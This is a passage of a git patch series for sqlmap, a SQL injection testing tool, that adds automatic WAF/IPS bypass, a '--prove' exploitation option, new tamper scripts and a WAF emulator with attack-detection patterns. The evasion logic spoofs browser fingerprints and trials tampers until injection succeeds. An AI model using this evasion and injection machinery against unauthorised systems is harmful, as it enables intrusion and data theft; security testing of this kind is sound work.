'{"id":1,"name":"alice"}' + b = '{ "name":"alice", "id":1 }' + withJson = self.ratio(a, b, "application/json") + conf.textOnly = True + withoutJson = self.ratio(a, b, "application/json") + self.assertGreater(withJson, withoutJson) # --text-only opts out of the JSON path + + +if __name__ == "__main__": + unittest.main() From 14041335380daea2ba44dcf1826bde23a85d50d1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 17 Jun 2026 15:58:08 +0200 Subject: [PATCH 575/853] Add --prove, opt-in --auto-tamper WAF bypass, and blindbinary/infoschema2innodb tampers --- data/txt/sha256sums.txt | 25 ++- extra/vulnserver/vulnserver.py | 65 ++++++ lib/controller/action.py | 36 ++++ lib/controller/checks.py | 21 +- lib/controller/controller.py | 67 ++++++- lib/core/enums.py | 1 + lib/core/option.py | 1 + lib/core/optiondict.py | 1 + lib/core/settings.py | 29 ++- lib/core/testing.py | 6 + lib/parse/cmdline.py | 3 + lib/utils/prove.py | 351 +++++++++++++++++++++++++++++++++ lib/utils/wafbypass.py | 156 +++++++++++++++ tamper/blindbinary.py | 114 +++++++++++ tamper/infoschema2innodb.py | 50 +++++ tests/test_wafbypass.py | 81 ++++++++ 16 files changed, 992 insertions(+), 15 deletions(-) create mode 100644 lib/utils/prove.py create mode 100644 lib/utils/wafbypass.py create mode 100644 tamper/blindbinary.py create mode 100644 tamper/infoschema2innodb.py create mode 100644 tests/test_wafbypass.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e878ab6d6a5..1f1e5bbd07a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -160,10 +160,10 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py -072a2c19162cc4e76476cf474134f18a5ec45cce9a4e4d216dad8e7a71ece048 extra/vulnserver/vulnserver.py -b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py -6da812281a69c8b7a5181c2f76374dc695e4727b2936042651bacbeda4e6bcc9 lib/controller/checks.py -969737ac9cd3fa7bac8b582a85016bd348ba2087daa3644a570a9127e686363b lib/controller/controller.py +63657c00a046ca0fb28fd069407ab6305bd7b95c42f26a96ed083fd05b152252 extra/vulnserver/vulnserver.py +3abecaec1a9c59645a4821463a2d761235f7a4f763a491f188a41a083bbddd98 lib/controller/action.py +6574ed70c7fe0ac305dbc85ed7102f648b6a3f42fe2fe6b89172d69717327149 lib/controller/checks.py +dcd4adcd7a2447a624ca7927541941d25767a4581af2d762c3197dc93790f4df lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py b36b085ff1b5797e375c1e2ca3b12c7ab4204f48acd1a1efb075cff8302d9750 lib/core/agent.py @@ -177,30 +177,30 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 2f44a1bfe6f18aafe64147b99e69aa93cf438c0e7befe59f4e2aee9065c8b7b6 lib/core/dicts.py 2592b0fd38c272c0b0d49878f4449437eb8ba8ff7536bb39b2ac9a2511010f7c lib/core/dump.py -6b9932d9c789a0e2ac28a493fb7914f49100a1c91de989bcdb20df9d40648522 lib/core/enums.py +e4f92e09737ff0dda7ec30e0db1912570e252853b3af9b8f2b9f68ad33cf09fe lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -3ec59b5eb336d9808d28496f1cbbad716b4a0e276b5399023142826e460e3fd2 lib/core/optiondict.py -b61676f0aa44798aaf9be72ff37550e2b78ed6ad3c71fbcad54f8c8bf7b34096 lib/core/option.py +06651cff25422dcb84c159f80faf8dc377d82ddd451b5910f12c4c6a3ebe1e94 lib/core/optiondict.py +e3a3729a24306b7ecace614fe27a8123c0becb0c5283ca519e5bcf376af2c711 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -222177a7a8e4c16ec4eae9f9542794ebf46a34b29390e967fe9fc26189261372 lib/core/settings.py +f01361d999b0cf89b8418265c4a4962924fcc03a6b87e15b39c0836788725e85 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py -40b703993441fcd10ab06545b7dbe4a4762ab1ff517592a7e104a52785e62586 lib/core/testing.py +c39dae0602b356d42f55df369c05614bbfb00c2abf2f0419fefe2ae781aa3098 lib/core/testing.py e3e653364d08d04d7492aa40a2bd29c6a28f4d78fecdd6c10f21f6cb28b98b4c lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -053079fe796dfce09cf94ac6f094043f2dfa393b5631387fadb4f735cf1ac6a4 lib/parse/cmdline.py +14b2fcfa2d6c3a155e3b85f093929c6129893ad191d1988a717daa1ffbb422e7 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -254,6 +254,7 @@ a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py e7d31de0e268c129ee11c590eb618f73a85e1022c08b8ed1f77753043c949214 lib/utils/pivotdumptable.py c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py +0aeb890fb6b0783f25df7c1ba7c9d0098325b4f7a677ff0151e411be24760f04 lib/utils/prove.py 2cd84db16edef8c9948e197a51d870cf1c338f4a89037b4d422de990f4a45237 lib/utils/purge.py f635872093a12cd63a72d77adf88e8f8cd4084a5cc64384f12966cd75a499bdf lib/utils/safe2bin.py de4be7e291db0962cd59f9c04b3f7259f846e315df1fd9b323954f89fae0b2db lib/utils/search.py @@ -262,6 +263,7 @@ de4be7e291db0962cd59f9c04b3f7259f846e315df1fd9b323954f89fae0b2db lib/utils/sear f0e5525a92fe971defc8f74c27942ff9138b1e8251f2e0d9a8bd59285b656084 lib/utils/timeout.py f821dc39a75ea48dccfa758788de15d38b9ca6a780a98f59935fb6610f75508c lib/utils/tui.py e430db49aa768ff2cdba76932e30871c366054599c44d91580dde459ab9b6fef lib/utils/versioncheck.py +b3c5109394f6c3cdd73a524a737b36cca7ecc56619f2a5f801eb1e7f1bfdb78b lib/utils/wafbypass.py 1b439fc59fd202c21c74978ed9f36d1c309533226c77907eae159461525f9fef lib/utils/xrange.py b1bbb62f5b272a6247d442d5e4f644a5bca7138e70776539ec84a5a90433fd13 LICENSE 6b1828a80ae3472f1adb53a540dee0835eccac14f8cfc4bf73962c4e49a49557 plugins/dbms/access/connector.py @@ -501,6 +503,7 @@ cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostro 11ad15d66c43f32f5d0a39052e5f623a4752ad4fb275d642f2e4cd841ff82b41 tamper/base64encode.py 1b55b7c59c623411c8cf328fff9e7de96a2dfc48ef4e5455325bfd41aebbbc13 tamper/between.py 6e72b92662185a56847cca235106bc354bd6a10e3e89a135b9ea8fa09cd8eb34 tamper/binary.py +3fb1a7f8a37d8a49fb88fa880e163ff75a2b224c4a7799abe29bec1a367d5273 tamper/blindbinary.py f833cfbb53e6849ed1b3b554ec1c973f85e6d41ebd62f94f8e0dcf0ba5da2f49 tamper/bluecoat.py 69c7eb987dec666da227ee1024c31b89ad324a3f7cab287ada6dade7f51c8a36 tamper/chardoubleencode.py c7892bff56b2b85dfdf9f24c783c569edac57a3fd5a254cf4554987a374206c9 tamper/charencode.py @@ -524,6 +527,7 @@ d05dafb86e82807e75bb8f54dcd6afbb4a08ba3b83b35562fee7f7022a75dbd7 tamper/if2case 55092820a856f583cf1b661001b60216886d172cb7d0008920bf4ab3df88aff0 tamper/ifnull2casewhenisnull.py eeda2b2fd54a4aa5fcf5630f8bfae43e0a38a840ae908e2f6b0878959067413c tamper/ifnull2ifisnull.py 94fe273bee7df27c9b4f1ee043779d06e4553169d9aec30c301d469275883dd1 tamper/informationschemacomment.py +ff07320cb134520c3be99407b5c1e67528f944c6a12838ab583716622e877a95 tamper/infoschema2innodb.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 tamper/__init__.py 017c91ba64c669382aa88ce627f925b00101a81c1a37a23dba09bfa2bfaf42ae tamper/least.py d762543ef6d90fd6ce8b897fdfb864e0461d2941922d331d97a334aefdbbe291 tamper/lowercase.py @@ -606,6 +610,7 @@ b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02 tests/test_tar 4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf tests/test_urls.py 23ffd75b5aec33066e6d6aad01ab2c9c1b12ee20c1a0990f8f1be81f1ad16161 tests/_testutils.py 2364db35025a53ea4e5a0a80c034997642785f7e6d1566d0d0f1db959fe3c82e tests/test_utils.py +93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py 81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 05cdab2efb3..47ba2cb0b8b 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -24,6 +24,7 @@ DEBUG = False if PY3: + from http.client import FORBIDDEN from http.client import INTERNAL_SERVER_ERROR from http.client import NOT_FOUND from http.client import OK @@ -35,6 +36,7 @@ else: from BaseHTTPServer import BaseHTTPRequestHandler from BaseHTTPServer import HTTPServer + from httplib import FORBIDDEN from httplib import INTERNAL_SERVER_ERROR from httplib import NOT_FOUND from httplib import OK @@ -157,6 +159,53 @@ def finish_request(self, *args, **kwargs): if DEBUG: traceback.print_exc() +# Primitive (CRS-style) WAF/IPS emulator used to exercise the automatic WAF/IPS bypass. The request +# surface is normalized like a real WAF (lowercase, comments->space, whitespace compressed) BEFORE +# a cumulative anomaly score is summed; when the score reaches the per-level threshold the request +# is blocked (403 + marker). The rules are shaped so that camouflage tampers (case/whitespace/ +# comments) are normalized away and a *structural* substitution (e.g. 'between'/'equaltolike', +# which removes the scored '=' operator) is the genuine bypass - matching real-world behavior. +# +# The emulator also models the OTHER real-world dimension: a scanner-fingerprint rule (mirroring +# CRS 913100) adds a constant score for a recognizable scanner User-Agent that *stacks* with the +# payload score. Its weight is below every threshold, so the scanner UA alone never blocks (benign +# browsing passes), but it tips an otherwise-permitted payload over the threshold - so neutralizing +# the request fingerprint (a non-scanner User-Agent) is itself a genuine bypass, with no SQL tamper. +WAF_NUMERIC_COMPARISON = r"\d+\s*=\s*\d+" # numeric self-comparison (boolean payloads); the structural lever 'between'/'equaltolike' removes it +WAF_RULES = ( + (r"\bunion\b.{0,40}\bselect\b", 6), + (r"\binformation_schema\b", 5), + (r"\b(sleep|benchmark|extractvalue|updatexml|xp_cmdshell|waitfor)\b", 5), + (r"\b(select|insert|update|delete|drop)\b", 3), + (WAF_NUMERIC_COMPARISON, 4), + (r" cumulative score that triggers a block +WAF_SCANNER_UA = r"(?i)\b(?:sqlmap|nikto|nessus|acunetix|nmap|masscan|w3af|havij|wpscan|dirbuster|arachni)\b" +WAF_SCANNER_UA_WEIGHT = 3 # CRS 913100-style: constant score for a scanner User-Agent, stacked with the payload score + +# Levels 4-5 model a libinjection-class WAF (e.g. OWASP CRS rule 942100): ANY boolean-comparison +# fingerprint scores a flat amount REGARDLESS of operator, so '=','LIKE','BETWEEN','IN' are all +# caught equally - structural tampers (between/equaltolike) do NOT help. There, neutralizing the +# scanner fingerprint is the only payload-preserving bypass (level 4); when even that is not enough +# the search must bail honestly (level 5). This mirrors the hardest real-world case. +WAF_LIBINJECTION_LEVELS = (4, 5) +WAF_LIBINJECTION_WEIGHT = 5 +WAF_LIBINJECTION = r"(?i)\b(?:and|or)\b.{0,40}(?:=|>|<|\blike\b|\bbetween\b|\bin\b|\brlike\b|\bregexp\b)" + +def waf_score(value, ua=None, level=0): + value = (value or "").lower() + value = re.sub(r"/\*.*?\*/", " ", value) # t:replaceComments (note: -> single space, not empty) + value = re.sub(r"(?:--|#)[^\n]*", " ", value) # t:removeComments (line comments) + value = re.sub(r"\s+", " ", value) # t:compressWhitespace + libinjection = level in WAF_LIBINJECTION_LEVELS + retVal = sum(weight for (pattern, weight) in WAF_RULES if not (libinjection and pattern == WAF_NUMERIC_COMPARISON) and re.search(pattern, value)) + if libinjection and re.search(WAF_LIBINJECTION, value): # operator-agnostic comparison score (tampers cannot remove it) + retVal += WAF_LIBINJECTION_WEIGHT + if ua and re.search(WAF_SCANNER_UA, ua): # scanner-fingerprint score, stacked with the payload score + retVal += WAF_SCANNER_UA_WEIGHT + return retVal + class ReqHandler(BaseHTTPRequestHandler): def do_REQUEST(self): path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") @@ -198,6 +247,22 @@ def do_REQUEST(self): self.url, self.params = path, params + # primitive WAF/IPS emulator (opt-in via 'security_level' param; 0/absent = off) + try: + level = int(self.params.get("security_level", 0) or 0) + except (TypeError, ValueError): + level = 0 + + if level > 0: + surface = "%s %s" % (unquote_plus(query), getattr(self, "data", "") or "") + if waf_score(surface, ua=self.params.get("user-agent"), level=level) >= WAF_THRESHOLD.get(level, 2): + self.send_response(FORBIDDEN) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(b"Request blocked: security policy violation (WAF)") + return + if self.url == "/csrf": if self.params.get("csrf_token") == _csrf_token: self.url = "/" diff --git a/lib/controller/action.py b/lib/controller/action.py index a1413a62231..b6153548160 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -8,11 +8,14 @@ from lib.controller.handler import setHandler from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import CONTENT_TYPE +from lib.core.enums import DBMS +from lib.core.enums import HASHDB_KEYS from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.settings import SUPPORTED_DBMS @@ -30,8 +33,41 @@ def action(): # First of all we have to identify the back-end database management # system to be able to go ahead with the injection + # automatic WAF-bypass: if a WAF/IPS is present and the back-end DBMS is already indicated by the error + # page or the heuristic checks, skip active fingerprinting (the WAF would just block its payloads + # and flood the run with 403s) and assume that DBMS, so the user gets a usable result + if kb.wafBypass and not conf.forceDbms: + fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else []) + fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None) + if fallback: + logger.warning("skipping active back-end DBMS fingerprinting behind the WAF/IPS and assuming '%s' from error/heuristic detection" % fallback) + conf.forceDbms = fallback + setHandler() + if kb.wafBypass and Backend.getDbms(): # persist the assumed DBMS so a resumed run restores it instead of re-fingerprinting (and dead-ending) behind the WAF + hashDBWrite(HASHDB_KEYS.DBMS, Backend.getDbms()) + + # automatic WAF-bypass: with MySQL behind the WAF, make data retrieval AND table enumeration survive a + # libinjection-class WAF (e.g. OWASP CRS), verified end-to-end through ModSecurity/CRS: + # * fingerprinting was skipped, so flag has_information_schema (modern MySQL >=5.0 always has it) - + # otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails with "no tables"; + # * 'blindbinary' reshapes the single-character read ORD(MID())->RIGHT(LEFT())>BINARY 0x.. (sheds the + # ORD/MID function names scored by 942151/942190); + # * 'infoschema2innodb' moves table enumeration off 'information_schema' (scored by 942140) onto + # 'mysql.innodb_table_stats', which is not on those blocklists. + # (blindbinary also reshapes PostgreSQL, but full extraction through the CRS proxy garbles there - an + # open issue - so PG is not auto-applied; it stays available as manual '--tamper=blindbinary'.) + if kb.wafBypass and Backend.getIdentifiedDbms() == DBMS.MYSQL: + kb.data.has_information_schema = True + if not conf.tamper: + from lib.utils.wafbypass import loadTamper + for _name in ("blindbinary", "infoschema2innodb"): + function = loadTamper(_name) + if function is not None and function not in (kb.tamperFunctions or []): + kb.tamperFunctions = (kb.tamperFunctions or []) + [function] + logger.info("using tamper scripts 'blindbinary' and 'infoschema2innodb' so data retrieval and table enumeration can pass the WAF/IPS") + if not Backend.getDbms() or not conf.dbmsHandler: htmlParsed = Format.getErrorParsedDBMSes() diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 328b457a8a1..f74acb79610 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1351,6 +1351,10 @@ def checkWaf(): warnMsg = "previous heuristics detected that the target " warnMsg += "is protected by some kind of WAF/IPS" logger.critical(warnMsg) + if hashDBRetrieve(HASHDB_KEYS.CHECK_WAF_BYPASS, True): # re-apply a previously accepted automatic bypass + from lib.utils.wafbypass import neutralizeFingerprint + kb.wafBypass = True + neutralizeFingerprint() return _ if not kb.originalPage: @@ -1393,6 +1397,7 @@ def checkWaf(): hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True) + if retVal: if not kb.identifiedWafs: warnMsg = "heuristics detected that the target " @@ -1406,9 +1411,19 @@ def checkWaf(): if not choice: raise SqlmapUserQuitException else: - if not conf.tamper: - warnMsg = "please consider usage of tamper scripts (option '--tamper')" - singleTimeWarnMessage(warnMsg) + if not conf.tamper and not kb.tamperFunctions: + message = "do you want sqlmap to try to automatically bypass the WAF/IPS during " + message += "the run (e.g. by using a non-scanner User-Agent and tamper script(s))? [Y/n] " + kb.wafBypass = readInput(message, default='Y', boolean=True) + hashDBWrite(HASHDB_KEYS.CHECK_WAF_BYPASS, kb.wafBypass, True) + if kb.wafBypass: + # apply it up-front so the whole run (detection included) avoids the scanner + # fingerprint, instead of getting blocked first and only then retrying + from lib.utils.wafbypass import neutralizeFingerprint + neutralizeFingerprint() + logger.info("using a random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS") + else: + singleTimeWarnMessage("please consider manual usage of tamper scripts (option '--tamper')") return retVal diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 584158236d3..afe65d9d7f4 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -76,6 +76,7 @@ from lib.core.settings import LOW_TEXT_PERCENT from lib.core.settings import REFERER_ALIASES from lib.core.settings import USER_AGENT_ALIASES +from lib.core.settings import WAF_BYPASS_MAX_TRIALS from lib.core.target import initTargetEnv from lib.core.target import setupTargetEnv from lib.utils.hash import crackHashFile @@ -168,6 +169,57 @@ def _formatInjection(inj): return data +def _autoWafBypass(place, parameter, value): + """ + Automatic WAF/IPS bypass (offered interactively once a WAF/IPS is detected, cached in + kb.wafBypass). The request fingerprint has already been neutralized up-front (non-scanner + User-Agent, see checkWaf), so here the empirically-ranked candidate tamper scripts are trialled + and the first that RESTORES a confirmed injection is adopted. Re-running checkSqlInjection() + through a candidate is itself the validation - it succeeds only if the resulting payload both + passes the WAF and stays valid SQL, so junk/incompatible candidates are rejected automatically. + """ + + from lib.utils.wafbypass import candidateTampers, loadTamper + + retVal = None + + savedTamper = kb.tamperFunctions + savedTechnique = conf.technique + conf.technique = [PAYLOAD.TECHNIQUE.BOOLEAN] # bound each trial to a quick boolean re-check + + candidates = candidateTampers(identifiedWafs=kb.identifiedWafs) + + try: + for count, name in enumerate(candidates): + if count >= WAF_BYPASS_MAX_TRIALS: + break + + function = loadTamper(name) + if function is None: + continue + + kb.tamperFunctions = [function] + logger.info("trying to bypass the WAF/IPS with tamper script '%s'" % name) + + injection = checkSqlInjection(place, parameter, value) + if getattr(injection, "place", None) is not None and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes: + logger.info("bypassed the WAF/IPS by using tamper script '%s' (with a non-scanner User-Agent)" % name) + logger.info("the same result can be reproduced manually with switch '--random-agent' and tamper script '%s'" % name) + retVal = injection + return retVal + + if kb.droppingRequests and count >= 2: + logger.warning("target keeps dropping requests; giving up on the WAF/IPS bypass") + break + finally: + conf.technique = savedTechnique + if retVal is None: # nothing worked - leave tampering untouched + kb.tamperFunctions = savedTamper + # honest bail: say it could not be bypassed and what to try manually + logger.warning("unable to automatically bypass the WAF/IPS; it might be using behavioral or rate-based detection (consider a manual '--tamper' selection, '--delay', or '--proxy' rotation)") + + return retVal + def _showInjections(): if conf.wizard and kb.wizardMode: kb.wizardMode = False @@ -626,6 +678,14 @@ def start(): logger.info(infoMsg) injection = checkSqlInjection(place, parameter, value) + + # WAF/IPS bypass accepted: the parameter looks injectable (heuristics) but + # the standard payloads were blocked -> try to auto-bypass it (request + # fingerprint neutralization and/or a tamper script) + if getattr(injection, "place", None) is None and kb.wafBypass and check == HEURISTIC_TEST.POSITIVE \ + and not conf.tamper and not kb.tamperFunctions: + injection = _autoWafBypass(place, parameter, value) or injection + proceed = not kb.endDetection injectable = False @@ -754,7 +814,12 @@ def start(): condition = True if condition: - action() + try: + action() + finally: + if conf.prove: + from lib.utils.prove import proveExploitation + proveExploitation() except KeyboardInterrupt: if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1): diff --git a/lib/core/enums.py b/lib/core/enums.py index 137be5d0293..ed3325025da 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -288,6 +288,7 @@ class HASHDB_KEYS(object): DBMS = "DBMS" DBMS_FORK = "DBMS_FORK" CHECK_WAF_RESULT = "CHECK_WAF_RESULT" + CHECK_WAF_BYPASS = "CHECK_WAF_BYPASS" CHECK_NULL_CONNECTION_RESULT = "CHECK_NULL_CONNECTION_RESULT" CONF_TMP_PATH = "CONF_TMP_PATH" KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS" diff --git a/lib/core/option.py b/lib/core/option.py index 516a82ee143..118ba15aef8 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2237,6 +2237,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.udfFail = False kb.unionDuplicates = False kb.unionTemplate = None + kb.wafBypass = None kb.webSocketRecvCount = None kb.wizardMode = False kb.xpCmdshellAvailable = False diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index c7e8c97177b..1631bd0517e 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -100,6 +100,7 @@ "prefix": "string", "suffix": "string", "tamper": "string", + "prove": "boolean", }, "Detection": { diff --git a/lib/core/settings.py b/lib/core/settings.py index 92280490bd7..1d06f132f45 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.119" +VERSION = "1.10.6.120" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -54,6 +54,33 @@ # Timeout used in heuristic check for WAF/IPS protected targets IPS_WAF_CHECK_TIMEOUT = 10 +# Candidate tamper scripts for automatic WAF-bypass, ordered by empirical WAF-bypass value +# (structural token-substitution first, camouflage last; per identYwaf data). The back-end DBMS +# is not pre-filtered here: semantics-preservation is verified at runtime by re-running detection +# through each candidate, so a DBMS-incompatible script simply fails the trial and is discarded. +WAF_BYPASS_TAMPERS = ( + "equaltolike", + "between", + "greatest", + "charencode", + "randomcase", + "space2comment", + "versionedkeywords", + "space2hash", +) + +# Maximum number of candidate tamper (chains) trialled during automatic WAF-bypass +WAF_BYPASS_MAX_TRIALS = 8 + +# Browser-like request headers applied alongside the random (non-scanner) User-Agent during +# automatic WAF bypass: sqlmap's defaults ('Accept: */*', no 'Accept-Language') are themselves a +# non-browser tell that header/behavioral WAFs key on, so the whole request fingerprint - not just +# the UA - is made to look like a real browser. Kept standard so it cannot skew content negotiation. +WAF_BYPASS_HTTP_HEADERS = ( + ("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"), + ("Accept-Language", "en-US,en;q=0.5"), +) + # Timeout used in checking for existence of live-cookies file LIVE_COOKIES_TIMEOUT = 120 diff --git a/lib/core/testing.py b/lib/core/testing.py index 265104231db..8ab1aaa1aa2 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -56,6 +56,12 @@ def vulnTest(): ("-u \"&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)), ("--list-tampers", ("between", "MySQL", "xforwardedfor")), ("-u \"&json=1\" -p id --flush-session --technique=B --banner", ("Type: boolean-based blind", "banner: '3.")), # JSON-response detection via the structure-aware oracle (no --string hint) + ("-u --data=\"security_level=1\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass: request-fingerprint dimension (a non-scanner User-Agent, applied up-front, restores detection) + ("-u --data=\"security_level=2\" -p id --flush-session --technique=B --banner", ("bypassed the WAF/IPS by using tamper script", "reproduced manually with switch '--random-agent' and tamper script", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass: SQL-tamper dimension (structural substitution) on top of the non-scanner User-Agent + ("-u --data=\"security_level=3\" -p id --flush-session --technique=B", ("bypassed the WAF/IPS by using tamper script", "Type: boolean-based blind")), # automatic WAF-bypass: SQL-tamper dimension at a stricter signature threshold + ("-u --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does + ("-u --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")), # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat + ("-u -p id --flush-session --prove", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --prove: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof ("-r --flush-session -v 5 --test-skip=\"heavy\" --save=", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), ("-c ", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")), ("-l --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 6482356043f..f3e99ecf433 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -375,6 +375,9 @@ def cmdLineParser(argv=None): injection.add_argument("--tamper", dest="tamper", help="Use given script(s) for tampering injection data") + injection.add_argument("--prove", dest="prove", action="store_true", + help="Prove exploitation of the detected injection point(s)") + # Detection options detection = parser.add_argument_group("Detection", "These options can be used to customize the detection phase") diff --git a/lib/utils/prove.py b/lib/utils/prove.py 